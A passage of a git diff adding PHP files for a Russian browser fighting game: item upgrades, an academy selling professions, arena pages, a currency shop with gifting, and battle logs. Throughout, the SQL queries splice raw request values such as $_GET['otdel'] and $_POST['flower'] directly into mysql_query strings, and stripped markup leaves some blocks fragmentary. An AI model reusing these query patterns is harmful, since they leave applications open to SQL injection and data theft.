"'.$item['nvinos'].'", `nintel` = "'.$item['nintel'].'", `nnoj` = "'.$item['nnoj'].'", `ntopor` = "'.$item['ntopor'].'", `ndubina` = "'.$item['ndubina'].'", `nmech` = "'.$item['nmech'].'", `maxdur` = "'.$item['maxdur'].'", `duration` = "'.$item['duration'].'" WHERE `id` = "'.$item['id'].'" LIMIT 1'); + + ### + mysql_query("INSERT INTO `delo` (`author`, `pers`, `text`, `type`, `date`) VALUES ('0', '{$user['id']}', '\"".$user['login']."\" улучшил предмет: \"".$item['name']."\" id:(".$item['id'].") [$item[duration]/".$item['maxdur']."] за ".$arr[$level]['cost']." реп, до уровня $item[nlevel].', 1, '".time()."')"); + ### + + echo 'success'; + } else { + echo 'Недостаточно репутации для операции ...'; + } + } else { + echo 'Предмет не найден ...'; + } + } else { + echo 'Утеря параметров. Код ошибки: 1001001.'; + } + } else { + echo 'А вы кто ???'; + } + } else { + echo 'Утерян параметр #hash# ...'; + } + } else { + echo 'А вы кто ???'; + } +} else { + echo 'Выберите предмет!'; +} +?> \ No newline at end of file diff --git a/ajax_hostel.php b/ajax_hostel.php new file mode 100644 index 0000000..e69de29 diff --git a/akadem.php b/akadem.php new file mode 100644 index 0000000..dd317d3 --- /dev/null +++ b/akadem.php @@ -0,0 +1,206 @@ += 4){ + if($user['money'] >= 300){ + if( $user['prof3_level'] > 0 && $user['prof3_level'] * ( 86400 * 30 ) + $user['prof3'] < time() ) { + $user['prof3_level'] = 0; + } + $user['prof3'] = time(); + mysql_query("UPDATE `users` set `prof3`='".$user['prof3']."', `money`=`money`-'300', `level` = '".$user['prof3_level']."' WHERE `id`='".$user['id'] ."'"); + echo"Вы получили профессию Наставника!"; + }else{echo"У вас нет 300 КР!";} + }else{echo"Для получения профессии необходим 4 уровень и выше!";} + //}else{echo"Вы уже владеете Гражданской профессией!";} +} + +if($_POST['obrob']){ +if($user['prof1'] == 0){ +if($user['level'] >= 3){ + if($user['money'] >= 300){ +mysql_query("UPDATE `users` set `prof1`='1', `money`=`money`-'300' WHERE `id`='".$user['id'] ."'"); +echo"Вы получили профессию Обробщика!"; +}else{echo"У вас нет 300 КР!";} +}else{echo"Для получения профессии необходим 3 уровень и выше!";} +}else{echo"Вы уже владеете Гражданской профессией!";} + } + + + if($_POST['pala4']){ +if($user['prof2'] == 0){ +if($user['level'] >= 5){ + if($user['money'] >= 700){ +mysql_query("UPDATE `users` set `prof2`='21', `money`=`money`-'700' WHERE `id`='".$user['id'] ."'"); +echo"Вы получили профессию !"; +}else{echo"У вас нет 700 КР!";} +}else{echo"Для получения профессии необходим 5 уровень и выше!";} +}else{echo"Вы уже владеете Боевой профессией!";} + } + + + if($_POST['lekar']){ +if($user['prof2'] == 0){ +if($user['level'] >= 5){ + if($user['money'] >= 700){ +mysql_query("UPDATE `users` set `prof2`='22', `money`=`money`-'700' WHERE `id`='".$user['id'] ."'"); +echo"Вы получили профессию Лекаря!"; +}else{echo"У вас нет 700 КР!";} +}else{echo"Для получения профессии необходим 5 уровень и выше!";} +}else{echo"Вы уже владеете Боевой профессией!";} + } + + if($_GET['exit'] == 1) { + + mysql_query('UPDATE `users`,`online` SET `users`.`room` = 2702, `online`.`room` = 2702 WHERE `users`.`id` = "'.$user['id'].'" AND `online`.`id` = "'.$user['id'].'"'); + header('Location: city.php'); +} + + +?> + + + + + + + + + + + +
    + + + + + + +
    + + +

    АКАДЕМИЯ

    +
    +Боевые Профессии
    Палач
    +'; +} +else{ +echo"Внимание! Вы уже владеете Боевой профессией: "; +if ($user['prof2'] == 21) {echo"Палач!";} +elseif ($user['prof2'] == 22) {echo"Лекарь!";} +} +?> +
    Цена: 700 КР. Необходимый уровень: 5
    Данная профессия позволяет своему владельцем стать наемником. Он сможет принимать заказы на нападения или кровавые нападения по отношению к другим игрокам.
    + +Лекарь
    +'; +} +else{ +echo"Внимание! Вы уже владеете Боевой профессией: "; +if ($user['prof2'] == 21) {echo"Палач!";} +elseif ($user['prof2'] == 22) {echo"Лекарь!";} +} +?> +
    Цена: 700 КР. Необходимый уровень: 5
    С помощью этой профессии вы сможете лечить травмированых игроков, тем самым увеличив свои доходы, благодаря оказанным услугам.
    + +
    +

    + + + + + + + +
    +Гражданские Профессии
    Обробщик
    +'; +} +else{ +echo"Внимание! Вы уже владеете Гражданской профессией: "; +if ($user['prof1'] == 1) {echo"Обробщик!";} +} +?> +
    Цена: 300 КР. Необходимый уровень: 3
    Данная профессия позволяет затачивать урон, модификаторы и броню предметов. Заточка предметов производится в Доме мастеров, зал Обробщика.
    + +Колдун
    +В стадии разработки... +
    Цена: 300 КР. Необходимый уровень: 3
    Колдун может встраивать руны, тем самым увеличивать силу, интуицию, ловкость, выносливость предмета, а также встраивать дополнительное здоровье и ману. Встройка рун производится в Доме мастеров, зал Колдуна.
    +Кузнец
    +В стадии разработки... +
    Цена: 300 КР. Необходимый уровень: 3
    Профессия позволяет создавать предметы более дешевой цены нежели в магазине или вовсе такие, которых не сыскать на прилавках. Создание вещей производится в Доме мастеров, зал Кузнеца.
    +Алхимик
    +В стадии разработки... +
    Цена: 300 КР. Необходимый уровень: 3
    Алхими способны создавать различные свитки и элексиры, в основном такие, которые трудно найти в обычном магазине. Алхимики могут трудиться в Доме мастеров, зал Алхимика.
    + +
    Наставник
    + time() ) || ( $user['prof3'] + 86400 * 30 * $user['prof3_level'] > time() ) ) { + $timeprof3 = $user['prof3']; + if( $user['prof3_level'] > 0 ) { + $timeprof3 += 86400 * 30 * $user['prof3_level']; + }else{ + $timeprof3 += 86400 * 30; + } + $timeprof3 = date('d.m.Y H:i',$timeprof3); + echo 'Лицензия Наставника действительна до '.$timeprof3.''; + echo'
    '; + }else{ + echo''; + } +}else{ + echo"Внимание! Вы уже владеете Гражданской профессией: "; + if ($user['prof3'] == 1) {echo"Наставник!";} +} +?> +
    Цена: 300 КР. Необходимый уровень: 4
    Данная профессия позволяет становиться Наставником новичков и получать репутацию за их достижения.
    + +
    + + + + + +

    +
    + diff --git a/aren_of_angels.php b/aren_of_angels.php new file mode 100644 index 0000000..15f7516 --- /dev/null +++ b/aren_of_angels.php @@ -0,0 +1,214 @@ += 7) { + if($user['hp'] > $user['maxhp']*0.33) { + if($user['align'] != 4) { + if($is_now['time_m'] < (time()+60*60)) { + $bot = mysql_fetch_array(mysql_query('SELECT `id` FROM `bots` WHERE `battle` = "'.$is_now['id'].'" AND `prototype` = "10023" LIMIT 1')); + join_arena($user['id'], $is_now['id'], 2, $bot['id']); + } else { + $error = 'Время истекло ...'; + } + } else { + $error = 'Хаосникам тут не место ...'; + } + } else { + $error = 'Вы слишком ослаблены ...'; + } + } else { + $error = 'Данный вид поединков доступен с 7 уровня ...'; + } + } else { + $error = 'Вы травмированны и не можете принять участие в поединке ...'; + } + } else { + $error = 'Поединок не найден ...'; + } + } else { + $error = 'Не Ваша склонность ...'; + } + } elseif($_GET['append'] == 2) { ##### team 1 + if($al == 2 || $al == 3) { + if(isset($is_now['id'])) { + if(!isset($eff['id'])) { + if($user['level'] >= 7) { + if($user['hp'] > $user['maxhp']*0.33) { + if($user['align'] != 4) { + if($is_now['time_m'] < (time()+60*60)) { + $bot = mysql_fetch_array(mysql_query('SELECT `id` FROM `bots` WHERE `battle` = "'.$is_now['id'].'" AND `prototype` = "10024" LIMIT 1')); + join_arena($user['id'], $is_now['id'], 1, $bot['id']); + } else { + $error = 'Время истекло ...'; + } + } else { + $error = 'Хаосникам тут не место ...'; + } + } else { + $error = 'Вы слишком ослаблены ...'; + } + } else { + $error = 'Данный вид поединков доступен с 7 уровня ...'; + } + } else { + $error = 'Вы травмированны и не можете принять участие в поединке ...'; + } + } else { + $error = 'Поединок не найден ...'; + } + } else { + $error = 'Не Ваша склонность ...'; + } + } +} + +?> + + + 404 + + + + + + +
    Арена Ангелов
    + +
    +
    + + +
    + +
    +
    + +
    .
    Следующая битва для 7-21 ур. состоится :
    + +

    Идет сражение [7-21 уровни]


    ход боя »»
    + + + + + + + + +
    +
    Вмешаться
    +
    + + +
    Вмешаться
    +
    + +
    +
    +
    +
    '.$error.''; } ?>
    + + \ No newline at end of file diff --git a/aren_of_angels2.php b/aren_of_angels2.php new file mode 100644 index 0000000..cf4ee21 --- /dev/null +++ b/aren_of_angels2.php @@ -0,0 +1,214 @@ += 7) { + if($user['hp'] > $user['maxhp']*0.33) { + if($user['align'] != 4) { + if($is_now['time_m'] < (time()+60*60)) { + $bot = mysql_fetch_array(mysql_query('SELECT `id` FROM `bots` WHERE `battle` = "'.$is_now['id'].'" AND `prototype` = "10023" LIMIT 1')); + join_arena($user['id'], $is_now['id'], 2, $bot['id']); + } else { + $error = 'Время истекло ...'; + } + } else { + $error = 'Хаосникам тут не место ...'; + } + } else { + $error = 'Вы слишком ослаблены ...'; + } + } else { + $error = 'Данный вид поединков доступен с 7 уровня ...'; + } + } else { + $error = 'Вы травмированны и не можете принять участие в поединке ...'; + } + } else { + $error = 'Поединок не найден ...'; + } + } else { + $error = 'Не Ваша склонность ...'; + } + } elseif($_GET['append'] == 2) { ##### team 1 + if($al == 2 || $al == 3) { + if(isset($is_now['id'])) { + if(!isset($eff['id'])) { + if($user['level'] >= 7) { + if($user['hp'] > $user['maxhp']*0.33) { + if($user['align'] != 4) { + if($is_now['time_m'] < (time()+60*60)) { + $bot = mysql_fetch_array(mysql_query('SELECT `id` FROM `bots` WHERE `battle` = "'.$is_now['id'].'" AND `prototype` = "10024" LIMIT 1')); + join_arena($user['id'], $is_now['id'], 1, $bot['id']); + } else { + $error = 'Время истекло ...'; + } + } else { + $error = 'Хаосникам тут не место ...'; + } + } else { + $error = 'Вы слишком ослаблены ...'; + } + } else { + $error = 'Данный вид поединков доступен с 7 уровня ...'; + } + } else { + $error = 'Вы травмированны и не можете принять участие в поединке ...'; + } + } else { + $error = 'Поединок не найден ...'; + } + } else { + $error = 'Не Ваша склонность ...'; + } + } +} + +?> + + + 404 + + + + + + +
    Арена Ангелов
    + +
    +
    + + +
    + +
    +
    + +
    .
    Следующая битва для 7-21 ур. состоится :
    + +

    Идет сражение [7-21 уровни]


    ход боя »»
    + + + + + + + + +
    +
    Вмешаться
    +
    + + +
    Вмешаться
    +
    + +
    +
    +
    +
    '.$error.''; } ?>
    + + \ No newline at end of file diff --git a/ashop.php b/ashop.php new file mode 100644 index 0000000..4119ecf --- /dev/null +++ b/ashop.php @@ -0,0 +1,379 @@ +Неправильно введено количество"; + //$good = 0; + } + elseif (($dress['massa']*$_POST['count']+$d[0]) > (get_meshok())) { + echo "Недостаточно места в рюкзаке."; + //$good = 0; + } + elseif($count_ok==1 && ($bank['ekr']>= ($dress['ecost']*$_POST['count'])) && ($dress['count'] >= $_POST['count'])) { + for($k=1;$k<=$_POST['count'];$k++) { + if(mysql_query("INSERT INTO `inventory` + (`prototype`,`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`,`isrep`, + `gsila`,`glovk`,`ginta`,`gintel`,`ghp`,`gnoj`,`gtopor`,`gdubina`,`gmech`,`gfire`,`gwater`,`gair`,`gearth`,`glight`,`ggray`,`gdark`,`needident`,`nsila`,`nlovk`,`ninta`,`nintel`,`nmudra`,`nvinos`,`nnoj`,`ntopor`,`ndubina`,`nmech`,`nfire`,`nwater`,`nair`,`nearth`,`nlight`,`ngray`,`ndark`, + `mfkrit`,`mfakrit`,`mfuvorot`,`mfauvorot`,`bron1`,`bron2`,`bron3`,`bron4`,`maxu`,`minu`,`magic`,`nlevel`,`nalign`,`dategoden`,`goden`,`otdel`,`artefact`, `koll`) + VALUES + ('{$dress['id']}','{$_SESSION['uid']}','{$dress['name']}','{$dress['type']}',{$dress['massa']},{$dress['cost']},'{$dress['img']}',{$dress['maxdur']},{$dress['isrep']},'{$dress['gsila']}','{$dress['glovk']}','{$dress['ginta']}','{$dress['gintel']}','{$dress['ghp']}','{$dress['gnoj']}','{$dress['gtopor']}','{$dress['gdubina']}','{$dress['gmech']}','{$dress['gfire']}','{$dress['gwater']}','{$dress['gair']}','{$dress['gearth']}','{$dress['glight']}','{$dress['ggray']}','{$dress['gdark']}','{$dress['needident']}','{$dress['nsila']}','{$dress['nlovk']}','{$dress['ninta']}','{$dress['nintel']}','{$dress['nmudra']}','{$dress['nvinos']}','{$dress['nnoj']}','{$dress['ntopor']}','{$dress['ndubina']}','{$dress['nmech']}','{$dress['nfire']}','{$dress['nwater']}','{$dress['nair']}','{$dress['nearth']}','{$dress['nlight']}','{$dress['ngray']}','{$dress['ndark']}', + '{$dress['mfkrit']}','{$dress['mfakrit']}','{$dress['mfuvorot']}','{$dress['mfauvorot']}','{$dress['bron1']}','{$dress['bron3']}','{$dress['bron2']}','{$dress['bron4']}','{$dress['maxu']}','{$dress['minu']}','{$dress['magic']}','{$dress['nlevel']}','{$dress['nalign']}','".(($dress['goden'])?($dress['goden']*24*60*60+time()):"")."','{$dress['goden']}','{$dress['razdel']}','{$dress['artefact']}', '{$dress['koll']}');")) + { + $good = 1; + } + else { + $good = 0; + } + } + if ($good) { + mysql_query("UPDATE `ashop` SET `count`=`count`-".$_POST['count']." WHERE `id`='".$set."' LIMIT 1;"); + $limit=$_POST['count']; + $invdb = mysql_query("SELECT `id` FROM `inventory` WHERE `name` = '".$dress['name']."' ORDER by `id` DESC LIMIT ".$limit.";" ); + if ($limit == 1) { + $dressinv = mysql_fetch_array($invdb); + $dressid = "cap".$dressinv['id']; + $dresscount=" "; + } + else { + $dressid=""; + while ($dressinv = mysql_fetch_array($invdb)) { + $dressid .= "cap".$dressinv['id'].","; + } + $dresscount="(x".$_POST['count'].") "; + } + $allcost=$_POST['count']*$dress['ecost']; + mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','{$_SESSION['uid']}','\"".$user['login']."\" купил товар: \"".$dress['name']."\" ".$dresscount."id:(".$dressid.") [0/".$dress['maxdur']."] за ".$allcost." екр. ',1,'".time()."');"); + echo "Вы купили {$_POST['count']} шт. \"{$dress['name']}\"."; + mysql_query("UPDATE `bank` set `ekr`=`ekr`-'".($allcost)."' WHERE `id`='".$_SESSION['bankid']."';"); + $bank['ekr'] -=$allcost; + } + } + else { + echo "Недостаточно денег или нет вещей в наличии."; + } +} +?> + + + + + + + + + + + + + +

    Магазин Берёзка

    + +
    + +
    +
    + Войти в счет
      № +"; +while ($rah = mysql_fetch_array($banks)) { + echo ""; +} +echo ""; +?> +
      Пароль +

    +
    +
    +
    + + + + + + + + + + +
    + +> + + + + +
    + +
    + +Очень щедро дарить что-то самому себе ;)"; + } + elseif ($to['room'] > 500 && $to['room'] < 561) { + echo "Персонаж в данный момент участвует в турнире в Башне Смерти. Попробуйте позже."; + } + else { + if($_POST['from']==1) { $from = 'Аноним'; } + elseif($_POST['from']==2 && $user['klan']) { $from = ' клана '.$user['klan']; } + else { $from = $user['login']; } + if ($to) if(mysql_query("UPDATE `inventory` SET `owner`='".$to['id']."', `present`='".$from."', `letter`='".$_POST['podarok2']."' WHERE `present`='' AND `id`='".$_POST['flower']."' AND `owner`='".$_SESSION['uid']."' AND `dressed`=0 AND `setsale`=0;")) { + $res = mysql_fetch_array(mysql_query("SELECT * FROM `inventory` WHERE `id` = '".$_POST['flower']."' LIMIT 1;")); + $buket_name=$res['name']; + mysql_query("INSERT INTO `delo`(`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','Подарен предмет \"".$res['name']."\" id:(cap".$res['id'].") [".$res['duration']."/".$res['maxdur']."] от \"".$from."\" к \"".$to['login']."\"','1','".time()."');"); + mysql_query("INSERT INTO `delo`(`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','{$to['id']}','Подарен предмет \"".$res['name']."\" id:(cap".$res['id'].") [".$res['duration']."/".$res['maxdur']."] от \"".$from."\" к \"".$to['login']."\"','1','".time()."');"); + if(($_POST['from']==1) || ($_POST['from']==2)) { + $action="подарил"; + mysql_query("INSERT INTO `delo`(`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$to['id']."','Подарен предмет \"".$res['name']."\" id:(cap".$res['id'].") [".$res['duration']."/".$res['maxdur']."] от \"".$user['login']."\" к \"".$to['login']."\"','5','".time()."');"); + } + else { + if ($user['sex'] == 0) { $action="подарила"; } + else { $action="подарил"; } + } + $us = mysql_fetch_array(mysql_query("select `id` from `online` WHERE `date`>=".(time()-60)." AND `id` = '".$to['id']."' LIMIT 1;")); + if($us[0]) { + addchp ('Внимание!'.$from.' '.$action.' вам '.$buket_name.'. ','{[]}'.$_POST['to_login'].'{[]}'); + } + else { + // если в офе + mysql_query("INSERT INTO `telegraph` (`owner`,`date`,`text`) values ('".$to['id']."','','".'Внимание!'.$from.' '.$action.' вам '.$buket_name.'. '."');"); + } + echo "Подарок удачно доставлен к \"",$_POST['to_login'],"\""; + } + echo mysql_error(); + } + } +?> + + +
    +"; +showitem ($row); +echo ""; +} +} +?> +
    + +Вы можете сделать подарок дорогому человеку. Ваш подарок будет отображаться в информации о персонаже. +
      +
    1. Укажите логин персонажа, которому хотите сделать подарок
      +Login +
    2. Цель подарка. Будет отображаться в информации о персонаже (не более 60 символов)
      + +
    3. Напишите текст сопроводительной записки (в информации о персонаже не отображается)
      + +
    4. Выберите, от чьего имени подарок:
      +
      + анонимно
      + от имени клана
      +
    5. Нажмите кнопку Подарить под предметом, который хотите преподнести в подарок:
      +
    + + + +"; +showitem ($row); +echo ""; +} +} +?> +
    "; +?> +
    "" value="Подарить"> +
    + +0 AND `razdel`='".$_GET['otdel']."' AND `ecost`>0 ORDER by `ecost` ASC;"); + while($row = mysql_fetch_array($data)) { + if ($i==0) { $i = 1; $color = '#C7C7C7';} else { $i = 0; $color = '#D5D5D5'; } + echo "
    "; +?> +
    +купить +Купить несколько штук", "")">
    +
    +
    +
    Масса всех ваших вещей: +/
    +У вас в наличии: екр.
    + +
    +
    +
    +
    +
    Отделы магазина
    +Оружие:
    + +     топоры
    +     дубины,булавы
    +     мечи
    +Одежда:
    +     шлемы
    +     тяжелая броня
    +     легкая броня
    +     щиты
    + +     сапоги
    +Ювелирные товары:
    + +     кольца
    +Магия:
    + +     разные
    +Разное:
    + +     букеты
    + +
    +
    + + + diff --git a/backup/logs/battle3259.txt b/backup/logs/battle3259.txt new file mode 100644 index 0000000..bfc5da8 --- /dev/null +++ b/backup/logs/battle3259.txt @@ -0,0 +1 @@ +Часы показывали 2017.02.08 15.16, когда trykster [3] и trykster (Клон 1) [3] бросили вызов друг другу.
    [15:16:42] trykster (Клон 1) думал о <вырезано цензурой>, вследствие чего неустрашимый trykster заблокировал удар лезвием меча по затылку.
    [15:16:42] trykster (Клон 1) засмотрелся на <вырезано цензурой>, а в это время расстроенный trykster , проклиная этот сайт, пробив блок, ударил по коленной чашечке.-21 [93/114]
    [15:16:44] trykster (Клон 1) потерял самоконтроль, вследствие чего храбрый trykster остановил удар тупым лезвием в область левой пятки.
    [15:16:44] trykster (Клон 1) засмотрелся на <вырезано цензурой>, а в это время trykster приложил удар рукоятью меча по левой ягодице -18 [75/114]
    15:16 Комментатор: Куплю импортный проигрыватель грампластинок.
    [15:16:45] trykster поперхнулся, но вдруг trykster (Клон 1) ударил острой стороной меча в промежность -17 [97/114]
    [15:16:45] trykster (Клон 1) растерялся, как вдруг хитрый trykster сдуру вмазал мечом по левой ягодице -20 [55/114]
    [15:16:48] trykster пытался что-то сказать но вдруг, неожиданно жестокий trykster (Клон 1) сдуру вмазал мечом в промежность -16 [81/114]
    [15:16:48] trykster закашлялся, и жестокий trykster (Клон 1) остановил удар острой стороной меча по левой ягодице.
    15:16 Комментатор: <вырезано цензурой> после боя я этих <вырезано цензурой> обоих в <вырезано цензурой> и <вырезано цензурой>
    [15:16:49] trykster (Клон 1) думал о <вырезано цензурой>, вследствие чего trykster заблокировал удар острой стороной меча по затылку.
    [15:16:49] trykster пытался провести удар, но trykster (Клон 1) остановил удар острой стороной меча по левой ягодице.
    [15:16:50] trykster (Клон 1) пытался нанести удар, но trykster отбил удар острой стороной меча в область левой пятки.
    [15:16:50] trykster (Клон 1) пытался что-то сказать но вдруг, неожиданно злобный trykster нехотя уколол рукоятью меча по левой ягодице -19 [36/114]
    [15:16:52] trykster обернулся, как внезапно бесчувственный trykster (Клон 1) нехотя уколол лезвием меча в область лопаток -21 [60/114]
    [15:16:52] trykster закашлялся, и trykster (Клон 1) остановил удар лезвием меча по левой ягодице.
    [15:16:54] trykster (Клон 1) старался провести удар, но злобный trykster отбил удар гардой в область левой пятки.
    [15:16:54] trykster (Клон 1) растерялся, как вдруг храбрый trykster нехотя уколол тупым лезвием по левой ягодице -20 [16/114]
    [15:16:55] trykster (Клон 1) думал не о том, и trykster заблокировал удар гардой в область левой пятки.
    [15:16:55] trykster (Клон 1) ковырялся в зубах, и тут trykster нехотя уколол тупым лезвием по левой ягодице -23 [0/114]
    15:16 trykster (Клон 1) проиграл бой!
    [15:16:55] Бой закончен, победа за trykster
    \ No newline at end of file diff --git a/backup/logs/battle3260.txt b/backup/logs/battle3260.txt new file mode 100644 index 0000000..79b73ab --- /dev/null +++ b/backup/logs/battle3260.txt @@ -0,0 +1 @@ +Часы показывали 2017.02.08 15.43, когда trykster [3] и trykster (Клон 1) [3] бросили вызов друг другу.
    [15:43:34] trykster замешкался, и за это trykster (Клон 1) сдуру вмазал ножнами в область левой пятки -17 [97/114]
    [15:43:34] trykster думал не о том, и мужественный trykster (Клон 1) остановил удар тупым лезвием по желудку.
    15:43 Комментатор: Это поубавит спеси
    [15:43:34] trykster высморкался, и в это время мужественный trykster (Клон 1) сдуру вмазал ножнами в промежность -22 [75/114]
    [15:43:34] trykster (Клон 1) растерялся, как вдруг жестокий trykster, улыбаясь, саданул укол рукоятью меча по левой ягодице -16 [98/114]
    [15:43:35] trykster пришел в себя, но в это время жестокий trykster (Клон 1) нехотя уколол рукоятью меча в область лопаток -18 [57/114]
    [15:43:35] trykster (Клон 1) растерялся, как вдруг мужественный trykster приложил удар огромным мечом по левой ягодице -17 [81/114]
    [15:43:36] trykster (Клон 1) старался провести удар, но храбрый trykster остановил удар рукоятью меча в область левой пятки.
    [15:43:36] trykster (Клон 1) обернулся, как внезапно хитрый trykster, разбежавшись, рубанул рукоятью меча по левой ягодице -18 [63/114]
    [15:43:37] trykster обернулся, как внезапно бесчувственный trykster (Клон 1) приложил удар лезвием меча в промежность -20 [37/114]
    [15:43:37] trykster (Клон 1) поперхнулся, но вдруг расстроенный trykster сдуру вмазал огромным мечом по левой ягодице -18 [45/114]
    [15:43:38] trykster (Клон 1) пытался нанести удар, но неустрашимый trykster отбил удар мечом в область левой пятки.
    [15:43:38] trykster (Клон 1) засмотрелся на <вырезано цензурой>, а в это время мужественный trykster отчаянно проткнул острой стороной меча по левой ягодице -19 [26/114]
    [15:43:40] trykster (Клон 1) думал не о том, и trykster заблокировал удар огромным мечом по затылку.
    [15:43:40] trykster (Клон 1) забылся, и тут бесчувственный trykster приложил удар рукоятью меча по левой ягодице -17 [9/114]
    15:43 Комментатор: За такие бои надо в хаос отправлять!
    [15:43:42] trykster (Клон 1) подскользнулся, и наглый trykster остановил удар мечом по затылку.
    [15:43:42] trykster (Клон 1) поперхнулся, но вдруг trykster , напугав всех, неслышно подойдя сзади ударил по левой ягодице.-36 [0/114]
    15:43 trykster (Клон 1) проиграл бой!
    [15:43:42] Бой закончен, победа за trykster
    \ No newline at end of file diff --git a/backup/logs/battle3261.txt b/backup/logs/battle3261.txt new file mode 100644 index 0000000..516dca8 --- /dev/null +++ b/backup/logs/battle3261.txt @@ -0,0 +1 @@ +Часы показывали 2017.02.08 16.01, когда trykster [3] и trykster (Клон 1) [3] бросили вызов друг другу.
    [16:01:33] trykster растерялся, как вдруг trykster (Клон 1), улыбаясь, саданул укол огромным мечом в промежность -20 [94/114]
    [16:01:33] trykster (Клон 1) пришел в себя, но в это время продвинутый trykster, разбежавшись, рубанул острой стороной меча в правый глаз -17 [97/114]
    [16:01:34] trykster (Клон 1) потерял самоконтроль, вследствие чего trykster заблокировал удар гардой по затылку.
    [16:01:34] trykster пытался провести удар, но расстроенный trykster (Клон 1) заблокировал удар ножнами по левой ягодице.
    16:01 Комментатор: Ого! Научите меня так не делать.
    [16:01:35] trykster растерялся, как вдруг trykster (Клон 1) ударил острой стороной меча в область лопаток -19 [75/114]
    [16:01:35] trykster (Клон 1) пришел в себя, но в это время расстроенный trykster, разбежавшись, рубанул ножнами по левой ягодице -21 [76/114]
    16:01 Комментатор: И пролитая кровь еще пульсирует...
    [16:01:36] trykster (Клон 1) пытался провести удар, но продвинутый trykster отбил удар мечом по затылку.
    [16:01:36] trykster (Клон 1) обернулся, как внезапно trykster, улыбаясь, саданул укол рукоятью меча по левой ягодице -22 [54/114]
    [16:01:38] trykster поперхнулся, но вдруг жестокий trykster (Клон 1) нехотя уколол мечом в промежность -23 [52/114]
    [16:01:38] trykster (Клон 1) пришел в себя, но в это время продвинутый trykster, улыбаясь, саданул укол лезвием меча по левой ягодице -20 [34/114]
    [16:01:39] trykster (Клон 1) пытался нанести удар, но trykster отбил удар ножнами в область левой пятки.
    [16:01:39] trykster думал не о том, и мужественный trykster (Клон 1) отбил удар тупым лезвием по левой ягодице.
    [16:01:40] trykster (Клон 1) подскользнулся, и trykster остановил удар тупым лезвием в область левой пятки.
    [16:01:40] trykster подскользнулся, и trykster (Клон 1) заблокировал удар острой стороной меча по левой ягодице.
    [16:01:41] trykster засмотрелся на <вырезано цензурой>, а в это время наглый trykster (Клон 1) нехотя уколол рукоятью меча в промежность -21 [31/114]
    [16:01:41] trykster (Клон 1) обернулся, как внезапно обезумевший trykster не подумав, рубанул тупым лезвием по левой ягодице -19 [15/114]
    16:01 Комментатор: Сначала учатся ходить, а потом только в драку лезут.
    [16:01:43] trykster (Клон 1) подскользнулся, и жестокий trykster заблокировал удар мечом в область левой пятки.
    [16:01:43] trykster (Клон 1) обернулся, как внезапно разъяренный trykster сдуру вмазал мечом по левой ягодице -21 [0/114]
    16:01 trykster (Клон 1) проиграл бой!
    [16:01:43] Бой закончен, победа за trykster
    \ No newline at end of file diff --git a/backup/logs/battle3262.txt b/backup/logs/battle3262.txt new file mode 100644 index 0000000..8036d40 --- /dev/null +++ b/backup/logs/battle3262.txt @@ -0,0 +1 @@ +Часы показывали 2017.02.08 16.27, когда trykster [3] и trykster (Клон 1) [3] бросили вызов друг другу.
    [16:27:37] trykster (Клон 1) старался провести удар, но trykster отбил удар огромным мечом по затылку.
    [16:27:37] trykster потерял самоконтроль, вследствие чего злобный trykster (Клон 1) отбил удар острой стороной меча в правый глаз.
    16:27 Комментатор: А танцуешь ты лучше.
    [16:27:38] trykster (Клон 1) закашлялся, и бесчувственный trykster остановил удар гардой в область левой пятки.
    [16:27:38] trykster (Клон 1) обернулся, как внезапно мужественный trykster, улыбаясь, саданул укол рукоятью меча по левой ягодице -17 [97/114]
    16:27 Комментатор: А танцуешь ты лучше.
    [16:27:38] trykster (Клон 1) думал не о том, и неустрашимый trykster отбил удар огромным мечом в область левой пятки.
    [16:27:38] trykster (Клон 1) ковырялся в зубах, и тут обезумевший trykster не подумав, рубанул тупым лезвием по левой ягодице -19 [78/114]
    16:27 Комментатор: Убогих развелось...
    [16:27:41] trykster обернулся, как внезапно хитрый trykster (Клон 1), улыбаясь, саданул укол лезвием меча в область лопаток -16 [98/114]
    [16:27:41] trykster (Клон 1) засмотрелся на <вырезано цензурой>, а в это время наглый trykster не подумав, рубанул тупым лезвием по левой ягодице -22 [56/114]
    [16:27:43] trykster (Клон 1) пытался провести удар, но хитрый trykster отбил удар гардой по затылку.
    [16:27:43] trykster потерял самоконтроль, вследствие чего trykster (Клон 1) отбил удар тупым лезвием по левой ягодице.
    [16:27:44] trykster забылся, и тут разъяренный trykster (Клон 1), разбежавшись, рубанул острой стороной меча в промежность -16 [82/114]
    [16:27:44] trykster (Клон 1) думал не о том, и расстроенный trykster ударил огромным мечом по левой ягодице -18 [38/114]
    [16:27:45] trykster высморкался, и в это время мужественный trykster (Клон 1) не подумав, рубанул тупым лезвием в область лопаток -20 [62/114]
    [16:27:45] trykster (Клон 1) растерялся, как вдруг разъяренный trykster нехотя уколол ножнами по левой ягодице -16 [22/114]
    [16:27:48] trykster замешкался, и за это trykster (Клон 1) сдуру вмазал гардой в промежность -17 [45/114]
    [16:27:48] trykster (Клон 1) забылся, и тут мужественный trykster ударил ножнами по левой ягодице -24 [0/114]
    16:27 trykster (Клон 1) проиграл бой!
    [16:27:48] Бой закончен, победа за trykster
    \ No newline at end of file diff --git a/backup/logs/battle3263.txt b/backup/logs/battle3263.txt new file mode 100644 index 0000000..8ba2a95 --- /dev/null +++ b/backup/logs/battle3263.txt @@ -0,0 +1 @@ +Часы показывали 2017.02.08 16.39, когда trykster [3] и trykster (Клон 1) [3] бросили вызов друг другу.
    [16:39:10] trykster забылся, и тут обезумевший trykster (Клон 1) ударил острой стороной меча по затылку -17 [97/114]
    [16:39:10] trykster (Клон 1) пытался что-то сказать но вдруг, неожиданно продвинутый trykster сдуру вмазал тупым лезвием в правый глаз -17 [97/114]
    [16:39:11] trykster забылся, и тут trykster (Клон 1) сдуру вмазал мечом в область лопаток -21 [76/114]
    [16:39:11] trykster старался провести удар, но расстроенный trykster (Клон 1) заблокировал удар ножнами по левой ягодице.
    [16:39:12] trykster обернулся, как внезапно жестокий trykster (Клон 1), улыбаясь, саданул укол острой стороной меча в промежность -16 [60/114]
    [16:39:12] trykster (Клон 1) забылся, и тут обезумевший trykster отчаянно проткнул гардой по левой ягодице -17 [80/114]
    [16:39:13] trykster растерялся, как вдруг расстроенный trykster (Клон 1) отчаянно проткнул ножнами в область лопаток -22 [38/114]
